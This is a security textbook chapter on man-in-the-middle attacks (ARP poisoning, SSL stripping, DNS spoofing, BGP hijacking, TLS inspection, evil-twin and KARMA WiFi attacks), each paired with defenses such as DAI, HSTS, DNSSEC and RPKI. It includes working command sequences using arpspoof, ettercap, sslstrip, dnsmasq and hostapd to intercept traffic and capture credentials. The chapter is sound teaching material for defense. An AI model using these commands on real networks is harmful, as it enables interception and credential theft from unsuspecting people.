Chapter 27: Man-in-the-Middle Attacks

"The most dangerous kind of eavesdropper is the one who not only listens, but speaks on your behalf." — Anonymous

Imagine plugging a small device into a conference room network switch. Within thirty seconds, a terminal shows live HTTP traffic from a laptop on the same network — including the username and password just typed into a demo application. The laptop is connected to the office network. The network uses switches, which only forward traffic to the destination port. So how?

ARP poisoning. The attacking device tells the laptop that its MAC address is the gateway. It tells the gateway that its MAC address is the laptop. Now all traffic routes through the attacker's machine. The attacker can read it, modify it, or drop it. The victim never notices.

That took thirty seconds. The tool did the work. That is the terrifying part — MitM attacks are not sophisticated. They are accessible. Defending against them requires understanding the mechanics at a deep level.


What Is a Man-in-the-Middle Attack?

A Man-in-the-Middle (MitM) attack occurs when an attacker secretly positions themselves between two communicating parties, intercepting and potentially altering the communication without either party's knowledge.

sequenceDiagram
    participant Alice as Alice (Client)
    participant Mallory as Mallory (MitM)
    participant Bob as Bob (Server)

    Note over Alice,Bob: NORMAL COMMUNICATION
    Alice->>Bob: Direct encrypted channel
    Bob->>Alice: Direct encrypted channel

    Note over Alice,Bob: MAN-IN-THE-MIDDLE
    Alice->>Mallory: Alice thinks she's<br/>talking to Bob
    Mallory->>Bob: Mallory forwards<br/>(or modifies) traffic
    Bob->>Mallory: Bob thinks he's<br/>talking to Alice
    Mallory->>Alice: Mallory forwards<br/>(or modifies) traffic

    Note over Mallory: Mallory can:<br/>Read everything (eavesdrop)<br/>Modify data (tamper)<br/>Inject messages (forge)<br/>Drop messages (deny service)

The attacker can:

  • Eavesdrop: Read all communication — credentials, personal data, financial information
  • Modify: Change transaction amounts, redirect downloads, inject malicious content
  • Impersonate: Respond as either party, forging messages
  • Selectively drop: Disrupt specific communications while allowing others through

ARP Poisoning: The Foundation of LAN-Based MitM

ARP (Address Resolution Protocol) maps IP addresses to MAC addresses on a local network. It has no authentication mechanism — a fundamental design flaw from an era when everyone on a network was trusted.

How ARP Works Normally

sequenceDiagram
    participant Client as Client Laptop<br/>IP: 192.168.1.100<br/>MAC: AA:AA:AA
    participant Switch as Network Switch
    participant GW as Gateway<br/>IP: 192.168.1.1<br/>MAC: GG:GG:GG

    Client->>Switch: ARP Request (broadcast):<br/>"Who has 192.168.1.1?<br/>Tell 192.168.1.100 (AA:AA:AA)"
    Switch->>GW: Forward broadcast to all ports
    GW->>Switch: ARP Reply (unicast):<br/>"192.168.1.1 is at GG:GG:GG"
    Switch->>Client: Forward reply

    Note over Client: ARP Cache updated:<br/>192.168.1.1 → GG:GG:GG<br/>(All gateway traffic goes to GG:GG:GG)

How ARP Poisoning Works

The key vulnerability: ARP replies are accepted without any prior request (gratuitous ARP), and there's no verification that the sender is telling the truth. The attacker sends forged ARP replies to both the victim and the gateway simultaneously:

sequenceDiagram
    participant Client as Client Laptop<br/>IP: .100, MAC: AA:AA
    participant Attacker as Attacker<br/>IP: .50, MAC: KK:KK
    participant GW as Gateway<br/>IP: .1, MAC: GG:GG

    Note over Attacker: Sends fake ARP replies<br/>every 2-5 seconds

    Attacker->>Client: Fake ARP Reply:<br/>"192.168.1.1 is at KK:KK"<br/>(Gateway's IP → Attacker's MAC)
    Attacker->>GW: Fake ARP Reply:<br/>"192.168.1.100 is at KK:KK"<br/>(Client's IP → Attacker's MAC)

    Note over Client: ARP Cache poisoned:<br/>.1 → KK:KK (WRONG!)
    Note over GW: ARP Cache poisoned:<br/>.100 → KK:KK (WRONG!)

    Client->>Attacker: All traffic to "gateway"<br/>actually goes to attacker
    Attacker->>GW: Attacker forwards to real gateway<br/>(with IP forwarding enabled)
    GW->>Attacker: Return traffic goes to attacker
    Attacker->>Client: Attacker forwards back to client

    Note over Attacker: Attacker reads/modifies<br/>ALL traffic in transit

Performing ARP Poisoning (Authorized Testing Only)

# Using arpspoof (part of the dsniff suite)
# Step 1: Enable IP forwarding so traffic flows through your machine
$ echo 1 > /proc/sys/net/ipv4/ip_forward

# Step 2: Poison the client's ARP cache — tell it you're the gateway
$ arpspoof -i eth0 -t 192.168.1.100 192.168.1.1
0:11:22:33:44:55 aa:aa:aa:aa:aa:aa 0806 42: arp reply 192.168.1.1 is-at 0:11:22:33:44:55
0:11:22:33:44:55 aa:aa:aa:aa:aa:aa 0806 42: arp reply 192.168.1.1 is-at 0:11:22:33:44:55

# Step 3: Poison the gateway's ARP cache — tell it you're the client
$ arpspoof -i eth0 -t 192.168.1.1 192.168.1.100

# Alternative: use ettercap for unified MitM
$ ettercap -T -q -i eth0 -M arp:remote /192.168.1.100// /192.168.1.1//

# Step 4: Capture all traffic flowing through your machine
$ tcpdump -i eth0 -w captured_traffic.pcap host 192.168.1.100

# Look for credentials in HTTP traffic
$ tcpdump -i eth0 -A -s0 'host 192.168.1.100 and port 80' | \
    grep -i -E 'password|user|login|pass='
ARP poisoning tools are trivial to use and devastatingly effective on unprotected networks. NEVER use these tools on networks you don't own or have explicit written authorization to test. Unauthorized network interception is a criminal offense under the Computer Fraud and Abuse Act (US), Computer Misuse Act (UK), and equivalent laws in virtually every jurisdiction. Penalties include years of imprisonment.

Defending Against ARP Poisoning

Dynamic ARP Inspection (DAI) is a Layer 2 security feature on managed switches that validates ARP packets against a trusted DHCP snooping binding table:

flowchart TD
    ARP["ARP Packet arrives<br/>on switch port 3"]
    Check{"Is port 3<br/>a TRUSTED port?"}
    Allow1["ALLOW<br/>(trusted ports bypass<br/>DAI checks)"]
    Lookup{"Check DHCP Snooping<br/>Binding Table:<br/>Is MAC KK:KK:KK mapped<br/>to IP 192.168.1.1?"}
    Allow2["ALLOW<br/>(binding matches)"]
    Drop["DROP packet<br/>Log violation<br/>Optionally shutdown port"]

    ARP --> Check
    Check -->|"Yes (uplink, DHCP server)"| Allow1
    Check -->|"No (user port)"| Lookup
    Lookup -->|"Yes, match found"| Allow2
    Lookup -->|"No match / MAC-IP mismatch"| Drop

    style Drop fill:#cc2222,color:#fff
    style Allow1 fill:#228844,color:#fff
    style Allow2 fill:#228844,color:#fff
! Cisco IOS configuration for ARP poisoning defense

! Step 1: Enable DHCP snooping (prerequisite for DAI)
ip dhcp snooping
ip dhcp snooping vlan 10,20,30

! Trust the DHCP server port and uplinks
interface GigabitEthernet0/24
  ip dhcp snooping trust

! Step 2: Enable Dynamic ARP Inspection
ip arp inspection vlan 10,20,30

! Trust the gateway/uplink port
interface GigabitEthernet0/24
  ip arp inspection trust

! Rate-limit ARP on untrusted (user) ports to prevent DoS
ip arp inspection limit rate 15

! Step 3: Enable port security to limit MACs per port
interface range GigabitEthernet0/1-23
  switchport port-security
  switchport port-security maximum 2
  switchport port-security violation restrict

Additional defenses:

  • Static ARP entries for critical infrastructure (gateways, DNS servers, domain controllers)
  • 802.1X port-based authentication ensures only authorized devices connect
  • Private VLANs isolate hosts from each other within the same VLAN
  • Encryption (TLS/HTTPS) makes intercepted traffic unreadable even if ARP poisoning succeeds
# Monitoring: detect ARP anomalies with arpwatch
$ apt install arpwatch
$ arpwatch -i eth0 -f /var/lib/arpwatch/eth0.dat

# arpwatch sends alerts when:
# - A new MAC address appears (new station)
# - An IP address changes MAC (flip flop - potential poisoning)
# - A MAC address changes IP (changed ethernet address)

# Check arpwatch logs
$ tail -f /var/log/syslog | grep arpwatch
Mar 12 14:30:15 server arpwatch: flip flop 192.168.1.1 0:11:22:33:44:55 (gg:gg:gg:gg:gg:gg)
# flip flop = the gateway's MAC just changed - INVESTIGATE IMMEDIATELY

SSL Stripping: Downgrading HTTPS to HTTP

If everything is HTTPS, ARP poisoning alone does not help much — the attacker just sees encrypted garbage. Unless they use SSL stripping.

SSL stripping exploits the moment when a user types a URL without https:// or clicks an HTTP link. The MitM intercepts the HTTP request before the redirect to HTTPS, maintaining an HTTP connection with the victim while establishing their own HTTPS connection with the server. This is the technique Moxie Marlinspike demonstrated at Black Hat 2009, and it changed everything.

sequenceDiagram
    participant User as User's Browser
    participant MitM as Attacker (MitM)
    participant Server as Bank Server

    Note over User,Server: NORMAL FLOW (without MitM)
    User->>Server: GET http://bank.com
    Server->>User: 301 Redirect to https://bank.com
    User->>Server: GET https://bank.com (encrypted)

    Note over User,Server: SSL STRIPPING (with MitM)
    User->>MitM: GET http://bank.com<br/>(plaintext)
    MitM->>Server: GET https://bank.com<br/>(MitM establishes HTTPS)
    Server->>MitM: 200 OK (HTML page)<br/>(encrypted between MitM and server)
    MitM->>User: 200 OK (HTML page)<br/>(plaintext HTTP!)

    Note over User: User sees http://bank.com<br/>NO padlock icon<br/>but page looks normal

    User->>MitM: POST http://bank.com/login<br/>username=user<br/>password=MyBankPass123<br/>(PLAINTEXT!)
    MitM->>MitM: Log credentials
    MitM->>Server: POST https://bank.com/login<br/>username=user<br/>password=MyBankPass123<br/>(forwarded over HTTPS)

The sslstrip Tool

# Step 1: Set up MitM position (ARP poisoning or rogue WiFi)
$ echo 1 > /proc/sys/net/ipv4/ip_forward

# Redirect port 80 traffic to sslstrip
$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 \
    -j REDIRECT --to-port 10000

# Step 2: Run sslstrip
$ sslstrip -l 10000 -w stripped.log

# Step 3: Watch credentials appear in plaintext
$ tail -f stripped.log
2026-03-12 14:30:01 SECURE POST Data (bank.example.com):
  username=user@example.com&password=MyBankPassword123

2026-03-12 14:30:45 SECURE POST Data (mail.google.com):
  Email=user@gmail.com&Passwd=GmailPassword456

The fundamental problem was that users typed bank.com into the address bar, and the browser would first try HTTP. That HTTP request was the opening the attacker needed. The solution was HSTS — HTTP Strict Transport Security. SSL stripping worked devastatingly well for years before HSTS caught up.

HSTS: The Defense Against SSL Stripping

HSTS tells the browser: "Never, ever connect to this domain over plain HTTP. Always use HTTPS. No exceptions."

HTTP/1.1 200 OK
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
flowchart TD
    UserTypes["User types 'bank.com'<br/>in address bar"]

    subgraph WithoutHSTS["WITHOUT HSTS"]
        W1["Browser sends HTTP request<br/>to http://bank.com"]
        W2["Server responds: 301 Redirect<br/>to https://bank.com"]
        W3["Browser follows redirect<br/>to HTTPS"]
        Vuln["VULNERABLE WINDOW:<br/>The HTTP request can<br/>be intercepted and stripped"]
    end

    subgraph WithHSTS["WITH HSTS (after first visit)"]
        H1["Browser checks internal<br/>HSTS database"]
        H2["Browser internally rewrites<br/>to https://bank.com"]
        H3["HTTPS request sent directly<br/>No HTTP ever sent"]
        Safe["NO VULNERABLE WINDOW:<br/>HTTP is never used"]
    end

    subgraph Preload["WITH HSTS PRELOAD"]
        P1["Browser ships with built-in<br/>list of HSTS domains"]
        P2["Even FIRST visit uses HTTPS"]
        P3["No HTTP ever, not even<br/>on the very first visit"]
        Safest["ZERO ATTACK SURFACE"]
    end

    UserTypes --> W1 --> W2 --> W3
    W1 --> Vuln
    UserTypes --> H1 --> H2 --> H3
    H3 --> Safe
    UserTypes --> P1 --> P2 --> P3
    P3 --> Safest

    style Vuln fill:#cc2222,color:#fff
    style Safe fill:#228844,color:#fff
    style Safest fill:#115522,color:#fff
# Check if a domain has HSTS
$ curl -sI https://google.com | grep -i strict
strict-transport-security: max-age=31536000

# Test HSTS preload eligibility
# Visit https://hstspreload.org and enter the domain

# Verify your site meets preload requirements:
# 1. Valid HTTPS certificate
# 2. Redirect all HTTP to HTTPS on the same host
# 3. HSTS header with max-age >= 31536000 (1 year)
# 4. includeSubDomains directive present
# 5. preload directive present

# Check if a domain is on the preload list
$ curl -s "https://hstspreload.org/api/v2/status?domain=google.com" | jq .
{
  "status": "preloaded",
  "domain": "google.com"
}
**The HSTS preload list** is maintained by the Chromium project and shared across Chrome, Firefox, Safari, and Edge. Once preloaded, the domain will ALWAYS be accessed via HTTPS by any browser that uses the list — even on the very first visit. There is no HTTP window for an attacker to exploit.

**Critical caution:** Removing a domain from the preload list takes months (waiting for browser release cycles). If you preload and then discover a subdomain that can't serve HTTPS, that subdomain will be unreachable. Test thoroughly before preloading:

```bash
# Verify ALL subdomains can serve HTTPS before preloading
$ for sub in www api mail staging dev internal; do
    echo -n "$sub.example.com: "
    curl -sI "https://$sub.example.com" -o /dev/null -w "%{http_code}" 2>/dev/null || echo "FAILED"
    echo
done

HSTS has one limitation: it can't protect the very first visit to a domain (unless preloaded) because the browser hasn't yet received the HSTS header. This first-visit vulnerability is called the "bootstrap problem" and is exactly what the preload list solves.


---

## DNS-Based MitM

DNS spoofing redirects a victim's DNS queries to resolve to the attacker's IP address, sending them to a malicious server instead of the legitimate one.

```mermaid
sequenceDiagram
    participant Client as Client
    participant Attacker as Attacker (on network)
    participant DNS as DNS Resolver
    participant Real as Real bank.com<br/>93.184.216.34

    Note over Client,Real: NORMAL DNS RESOLUTION
    Client->>DNS: "What is bank.com?"
    DNS-->>Client: "93.184.216.34"
    Client->>Real: Connect to 93.184.216.34

    Note over Client,Real: DNS SPOOFING (local network)
    Client->>Attacker: "What is bank.com?"<br/>(attacker intercepted via ARP poison)
    Attacker-->>Client: "10.0.0.66" (attacker's IP!)
    Client->>Attacker: Connect to 10.0.0.66<br/>(attacker's fake bank site)

    Note over Attacker: Attacker serves phishing page<br/>or proxies to real site<br/>while capturing credentials
# DNS spoofing with ettercap's dns_spoof plugin
# (Authorized testing only!)

# Create an etter.dns file with spoofed entries
$ cat > /tmp/etter.dns << 'EOF'
bank.example.com      A   10.0.0.66
*.bank.example.com    A   10.0.0.66
mail.example.com      A   10.0.0.66
EOF

# Run ettercap with ARP spoofing + DNS spoofing combined
$ ettercap -T -q -i eth0 -P dns_spoof -M arp:remote \
    /192.168.1.100// /192.168.1.1//

# On the attacker machine, serve a convincing phishing page
$ python3 -m http.server 80 --directory /tmp/fake-bank-site/

# Or use mitmproxy for a more sophisticated HTTPS interception
$ mitmproxy --mode transparent --listen-host 0.0.0.0 --listen-port 8080

Defenses against DNS spoofing:

  • DNSSEC: Cryptographically signs DNS records, preventing forgery
  • DNS-over-HTTPS (DoH) / DNS-over-TLS (DoT): Encrypts DNS queries, preventing interception and modification
  • Certificate validation: Even if DNS is spoofed, TLS certificate validation will fail unless the attacker has a valid certificate for the domain
  • Randomized source ports and query IDs: Post-Kaminsky defenses make cache poisoning harder
# Verify DNSSEC for a domain
$ dig +dnssec example.com
;; flags: qr rd ra ad;  # 'ad' flag = Authenticated Data (DNSSEC valid)

# Check DNS-over-HTTPS
$ curl -s -H 'accept: application/dns-json' \
    'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq .
{
  "Status": 0,
  "AD": true,
  "Answer": [{"name": "example.com", "type": 1, "data": "93.184.216.34"}]
}

# Detect DNS spoofing: query multiple resolvers and compare
$ for resolver in 8.8.8.8 1.1.1.1 9.9.9.9; do
    echo -n "$resolver: "
    dig @$resolver bank.com A +short
done
# If results differ, DNS may be compromised on your local network

BGP Hijacking: Nation-State-Level MitM

MitM at the Internet scale. BGP (Border Gateway Protocol) is the routing protocol between ISPs, and it has the same trust problem as ARP, but for the entire Internet. When an ISP announces it can route traffic for a specific IP prefix, other routers trust that announcement. There is no built-in authentication.

graph TD
    subgraph Normal["NORMAL ROUTING"]
        U1["Users"] -->|"Traffic for<br/>203.0.113.0/24"| ISP_A["ISP A"]
        ISP_A --> ISP_B["ISP B"]
        ISP_B --> Target["Target Server<br/>203.0.113.0/24<br/>(legitimate owner)"]
    end

    subgraph Hijack["BGP HIJACK (prefix hijack)"]
        U2["Users"] -->|"Traffic for<br/>203.0.113.0/24"| ISP_C["ISP A"]
        ISP_C --> Attacker["Attacker's AS<br/>Announces: 203.0.113.0/24<br/>(fraudulent claim!)"]
        Target2["Legitimate Target<br/>203.0.113.0/24<br/>(traffic never arrives)"]
    end

    subgraph MoreSpecific["MORE SPECIFIC PREFIX HIJACK"]
        U3["Users"] -->|"Traffic for<br/>203.0.113.0/25"| ISP_D["ISP A"]
        ISP_D --> Attack2["Attacker's AS<br/>Announces: 203.0.113.0/25<br/>and 203.0.113.128/25"]
        Target3["Legitimate: 203.0.113.0/24<br/>(less specific = lower priority)"]
    end

    Note1["More specific prefixes<br/>ALWAYS win in BGP routing.<br/>The /25 beats the /24."]

    style Attacker fill:#cc2222,color:#fff
    style Attack2 fill:#cc2222,color:#fff
BGP hijacking has been used by nation-states for surveillance and by criminals for financial theft:

**2018: Google traffic rerouted through Russia and China.** A Nigerian ISP leaked BGP routes that sent Google's traffic through China Telecom and Rostelecom (Russia). For 74 minutes, Google services for some users were routed through infrastructure controlled by nation-state adversaries. Whether accidental or deliberate remains debated — but the effect was the same.

**2018: Cryptocurrency exchange theft via BGP + DNS hijack.** Attackers BGP-hijacked Amazon's Route 53 DNS IP prefixes. By controlling where DNS queries for MyEtherWallet.com resolved, they redirected users to a phishing page that stole $150,000 in cryptocurrency. This attack combined BGP hijacking (infrastructure level) with DNS manipulation (application level) — a multi-layer MitM.

**2020: Rostelecom hijacked traffic from Akamai, Cloudflare, and AWS.** Russian state telecom Rostelecom announced routes for over 8,800 prefixes belonging to major tech companies. For about an hour, traffic that should have gone directly to Cloudflare or AWS instead passed through Russian infrastructure.

The Internet's routing system is built on trust between autonomous systems. That trust is routinely abused by nation-states with ISP-level access.

Defenses:

  • RPKI (Resource Public Key Infrastructure): Cryptographically certifies which AS is authorized to announce which IP prefixes. Routers that validate RPKI will reject unauthorized announcements.
  • BGP monitoring services: Tools like RIPE RIS and BGPStream detect when your prefixes are announced by unauthorized ASes.
  • Route filtering: ISPs filter customer route announcements to prevent leaks.
  • MANRS (Mutually Agreed Norms for Routing Security): Industry initiative for ISP best practices.
# Check if your prefix is being announced correctly
$ whois -h whois.radb.net 203.0.113.0/24

# Monitor BGP announcements for your prefixes
# Use RIPE RIS: https://stat.ripe.net/
# Or BGPStream: https://bgpstream.crosswork.cisco.com/

HTTPS Interception by Corporate Proxies

Your previous employer may have had a firewall that could inspect HTTPS traffic. That is a MitM attack. It is just an authorized one. Corporate TLS inspection is architecturally identical to an attack — the difference is consent and control.

sequenceDiagram
    participant Emp as Employee Laptop
    participant Proxy as Corporate Proxy<br/>(TLS Inspection)
    participant Web as Web Server

    Note over Emp,Web: How corporate TLS inspection works

    Emp->>Proxy: TLS ClientHello for<br/>example.com
    Proxy->>Web: TLS ClientHello for<br/>example.com (new connection)
    Web-->>Proxy: Server certificate<br/>(signed by real CA)
    Proxy->>Proxy: Verify real certificate<br/>Generate NEW certificate<br/>for example.com signed<br/>by Corporate CA

    Proxy-->>Emp: Forged certificate<br/>(signed by Corporate CA)
    Note over Emp: Browser trusts it because<br/>Corporate CA was installed<br/>by IT on all laptops

    Emp->>Proxy: Encrypted request<br/>(TLS with Corp CA cert)
    Proxy->>Proxy: Decrypt, inspect,<br/>log, re-encrypt
    Proxy->>Web: Encrypted request<br/>(TLS with real cert)
    Web-->>Proxy: Encrypted response
    Proxy->>Proxy: Decrypt, inspect,<br/>log, re-encrypt
    Proxy-->>Emp: Encrypted response

    Note over Proxy: Proxy sees ALL traffic<br/>in plaintext. Can log,<br/>filter, or modify.

Security implications of corporate TLS inspection:

  1. The corporate CA private key is a crown jewel. If compromised, the attacker can intercept ALL employee traffic — banking, medical, everything. This key must be protected with HSM-level security.

  2. Some proxies break TLS verification. They accept invalid upstream certificates and forward traffic anyway, creating a worse security posture than no inspection at all.

  3. Certificate pinning breaks. Mobile apps and some desktop applications that pin certificates will refuse to connect through a TLS-inspecting proxy.

  4. Privacy implications. Personal banking, medical portals, and HR systems are all visible to proxy administrators.

# Detect if your connection is being intercepted
$ openssl s_client -connect google.com:443 -servername google.com </dev/null 2>/dev/null | \
    openssl x509 -noout -issuer
# Expected: issuer=C = US, O = Google Trust Services LLC, CN = GTS CA 1C3
# If intercepted: issuer=O = YourCorp, CN = YourCorp TLS Inspection CA

# Quick check: compare from your corporate network vs mobile hotspot
# If the issuers differ, TLS inspection is active
If you operate a corporate TLS inspection proxy:
- **Exclude sensitive categories:** Banking, healthcare, government sites should bypass inspection
- **Protect the CA private key** with an HSM — a compromised CA key is a catastrophic security failure
- **Verify upstream certificates properly** — if your proxy accepts invalid certs, you've made security worse
- **Inform employees** that traffic is inspected (legal requirement in many jurisdictions)
- **Log access to intercepted data** and restrict who can view it — the proxy administrators can see employees' passwords, personal messages, and medical information
- **Regularly audit** the proxy's certificate validation behavior

WiFi MitM Scenarios

WiFi introduces multiple MitM opportunities because the shared wireless medium is inherently accessible to anyone within radio range.

Evil Twin Attack

graph TD
    subgraph CoffeeShop["Coffee Shop"]
        LegitAP["Legitimate AP<br/>SSID: CoffeeWiFi-5G<br/>Signal: Weak ▂▃"]
        EvilAP["Evil Twin (Attacker)<br/>SSID: CoffeeWiFi-5G<br/>Signal: Strong ▅▇<br/>(high-gain antenna)"]
        Victim["Victim's Laptop"]
    end

    Victim -->|"Auto-connects to<br/>stronger signal<br/>with same SSID"| EvilAP
    EvilAP -->|"Attacker provides<br/>internet via their<br/>mobile hotspot"| Internet["Internet"]
    EvilAP -->|"All traffic passes<br/>through attacker"| Attacker["Attacker captures<br/>credentials, cookies,<br/>unencrypted data"]

    Note1["Victim's device chooses evil twin because:<br/>Same SSID name<br/>Stronger signal<br/>Open/same password<br/>Device auto-connects to 'remembered' networks"]

    style EvilAP fill:#cc2222,color:#fff
# Create an evil twin with hostapd (authorized testing only!)
$ cat > /tmp/hostapd.conf << 'EOF'
interface=wlan0
driver=nl80211
ssid=CoffeeWiFi-5G
hw_mode=g
channel=6
wmm_enabled=0
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=0
EOF

# Set up DHCP for connected clients
$ dnsmasq --interface=wlan0 \
    --dhcp-range=10.0.0.10,10.0.0.100,255.255.255.0,12h \
    --no-daemon --log-queries

# Start the rogue AP
$ hostapd /tmp/hostapd.conf

# Enable NAT so victims can reach the internet through you
$ iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
$ echo 1 > /proc/sys/net/ipv4/ip_forward

# Capture traffic
$ tcpdump -i wlan0 -w evil_twin_capture.pcap

KARMA Attack

KARMA exploits the fact that devices broadcast probe requests for networks they've previously connected to. The attacker's AP responds to any probe request, pretending to be whatever network the device is looking for:

sequenceDiagram
    participant Phone as Victim's Phone
    participant Evil as Attacker's AP<br/>(KARMA-enabled)

    Phone->>Evil: Probe: "Is HomeWiFi here?"
    Evil-->>Phone: "Yes, I'm HomeWiFi!"
    Phone->>Evil: Probe: "Is OfficeWiFi here?"
    Evil-->>Phone: "Yes, I'm OfficeWiFi too!"
    Phone->>Evil: Probe: "Is Starbucks here?"
    Evil-->>Phone: "Yes, I'm Starbucks!"

    Note over Phone: Device associates with<br/>"HomeWiFi" automatically,<br/>thinking it's the trusted<br/>home network

    Phone->>Evil: All traffic flows through<br/>attacker's AP

    Note over Evil: Attacker says "yes" to<br/>EVERY probe request.<br/>Device connects automatically<br/>to a "remembered" network.

Defenses against WiFi MitM:

  • Use a VPN on all untrusted networks — this encrypts all traffic regardless of the WiFi network's security
  • Disable auto-connect to open WiFi networks
  • Forget networks you no longer use (reduces probe requests that leak your network history)
  • WPA3-SAE provides simultaneous authentication that prevents some MitM attacks
  • 802.1X/EAP-TLS for enterprise WiFi: server certificate validation prevents evil twins
  • Wireless IDS (WIDS) can detect rogue access points by comparing BSSIDs and signal patterns

Defense Layers: A Comprehensive Approach

graph TD
    subgraph Layer1["Layer 1: Network Level"]
        DAI["Dynamic ARP Inspection"]
        DHCP["DHCP Snooping"]
        Port["802.1X Port Authentication"]
        PVLAN["Private VLANs"]
    end

    subgraph Layer2["Layer 2: DNS Level"]
        DNSSEC["DNSSEC"]
        DoH["DNS-over-HTTPS / DoT"]
        Monitor["DNS monitoring"]
    end

    subgraph Layer3["Layer 3: Transport Level"]
        HSTS["HSTS + Preload List"]
        CertPin["Certificate Pinning<br/>(mobile apps)"]
        CT["Certificate Transparency"]
        TLS13["TLS 1.3<br/>(no downgrade attacks)"]
    end

    subgraph Layer4["Layer 4: Routing Level"]
        RPKI["RPKI"]
        BGPMon["BGP Monitoring"]
        RouteFilter["Route Filtering"]
    end

    subgraph Layer5["Layer 5: Application Level"]
        VPN["VPN on untrusted networks"]
        MutualTLS["Mutual TLS (mTLS)"]
        TokenBind["Token Binding / DPoP"]
    end

    Layer1 --> Defend["DEFENSE IN DEPTH:<br/>Each layer protects against<br/>MitM at its level.<br/>No single layer is sufficient."]
    Layer2 --> Defend
    Layer3 --> Defend
    Layer4 --> Defend
    Layer5 --> Defend

    style Defend fill:#228844,color:#fff
Set up a lab environment (VMs or containers on an isolated network) and practice these MitM scenarios:

1. **ARP Poisoning:** Use `arpspoof` between two VMs. Capture traffic with Wireshark. Observe HTTP credentials being visible in the capture.

2. **SSL Stripping:** Run `sslstrip` after ARP poisoning. Visit a test HTTP site that redirects to HTTPS. Watch the stripping in action.

3. **Evil Twin:** Create a rogue AP with `hostapd` on a wireless adapter. Connect a test device. Observe its traffic in `tcpdump`.

4. **Defense Testing:** Configure static ARP entries on a test machine. Verify ARP poisoning is blocked. Then enable DAI on a managed switch if you have one.

5. **HSTS Testing:** Configure HSTS on a test web server (`nginx` or `apache`). Visit it once over HTTPS, then try to SSL-strip on a subsequent visit. Verify that the browser refuses HTTP.

6. **DNS Spoofing Detection:** Set up three different DNS resolvers and compare results for the same domain. Write a script that alerts on discrepancies.

Document each attack's traffic pattern in Wireshark. Learn what MitM looks like on the wire — the ARP storms, the duplicate responses, the HTTP where HTTPS should be.

What You've Learned

This chapter covered the full spectrum of man-in-the-middle attacks, from local network manipulation to Internet-scale routing hijacks:

  • ARP poisoning exploits the lack of authentication in ARP to redirect local network traffic through an attacker's machine. The attack is trivial to execute with tools like arpspoof and ettercap. Dynamic ARP Inspection (DAI) on managed switches, combined with DHCP snooping, is the primary defense.

  • SSL stripping downgrades HTTPS connections to HTTP by intercepting the initial redirect. It was devastating for years until HSTS (HTTP Strict Transport Security) and the HSTS preload list eliminated the HTTP-to-HTTPS transition that attackers exploited. HSTS preloading removes even the first-visit vulnerability.

  • DNS spoofing redirects victims to attacker-controlled servers by forging DNS responses. DNSSEC provides cryptographic authentication of DNS records. DNS-over-HTTPS (DoH) and DNS-over-TLS (DoT) encrypt the queries themselves. TLS certificate validation provides a final defense layer even when DNS is compromised.

  • BGP hijacking redirects Internet traffic at the routing level, enabling nation-state-scale interception. Real incidents have rerouted traffic for Google, AWS, and cryptocurrency exchanges through adversary-controlled infrastructure. RPKI is the primary defense, but adoption remains incomplete.

  • Corporate TLS inspection proxies are architecturally identical to MitM attacks but operate with organizational authorization. They introduce their own significant security risks — the corporate CA key becomes a high-value target, and improperly configured proxies can weaken security.

  • WiFi MitM attacks (evil twins, KARMA) exploit the shared wireless medium and device auto-connection behavior. VPNs, WPA3-SAE, and 802.1X with certificate validation provide defense.

  • Defense requires multiple layers because each MitM variant attacks at a different level: ARP at Layer 2, DNS at the application protocol level, SSL stripping at the HTTP/HTTPS transition, BGP at the routing level. No single defense covers all vectors. The universal principle is authenticated encryption — verify who you're talking to and encrypt everything between you.